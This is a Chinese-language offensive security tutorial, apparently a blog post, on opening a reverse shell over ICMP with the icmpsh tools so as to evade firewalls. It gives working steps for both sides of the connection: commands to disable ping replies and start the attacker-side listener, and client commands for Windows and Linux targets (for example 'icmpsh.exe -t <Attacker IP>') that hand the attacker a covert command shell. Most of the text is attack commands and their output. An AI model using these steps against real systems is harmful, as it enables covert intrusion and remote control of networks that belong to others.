Reverse ICMP Shell

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

内网中的大多数系统都位于防火墙或其他安全设备之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。

实例讲解

服务端

禁ping必须开启,才能正常通过ICMP反弹Shell。

1
sysctl -w net.ipv4.icmp_echo_ignore_all=1

起初运行 run.sh会报错,是因为run.sh未把本地IP提取出来。(run.sh里调用的是icmpsh_m.py)

1
2
3
4
git clone https://github.com/inquisb/icmpsh.git
cd icmpsh/
chmod 777 run.sh
./run.sh
image-20200212130721308

这里改下就好了,将

1
2
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')

改成

1
IP=$(ifconfig | grep 'inet '| grep -v '127.0.0.1' | awk '{ print $2}')
image-20200212133349304

成功运行run.sh,开启本地监听。

image-20200212133144533

客户端

Windows

icmpsh.exe传到目标机中,执行上述命令。

1
2
3
4
5
icmpsh.exe -t <Attacker IP> -d 500 -b 30 -s 128

-d milliseconds 以毫秒为单位的请求之间的延迟 (默认 200)
-b num 最大空白数 (未答复的ICMP请求)
-s bytes 以字节为单位的最大数据缓冲区大小 (默认 64 字节)
image-20200212132347805

攻击机成功接收到反弹会话,并且也可以通过这个管道来执行系统命令。

image-20200212133104158

通过wireshark抓包分析,攻击机与目标机通信过程中均是由ICMP协议进行数据包传输的。

image-20200212143734808

Linux

该版本的liunx客户端是在icmpsh项目上进行改动的,但也是与icmpsh_m.py结合使用。

执行前要保证是root权限,或者 net.ipv4.ping_group_range /proc/sys/ 允许在其他用户上运行。

1
2
3
4
git clone https://github.com/ewilded/icmpsh-s-linux.git
cd icmpsh-s-linux/
gcc icmpsh-s-linux.c -o icmpsh-s-linux
./icmpsh-s-linux -t 192.168.199.131 -v

攻击机运行如下命令:

1
python icmpsh_m.py <Attacker IP> <Target IP>
image-20200212160645812

总结

此Shell,是通过ICMP来进行请求/响应。这也是唯一与目标机通信的方式。当退出shell时,会重新启用ICMP响应,如果禁用则会继续。

Reference

http://inquisb.github.io/icmpsh/

https://github.com/ewilded/icmpsh-s-linux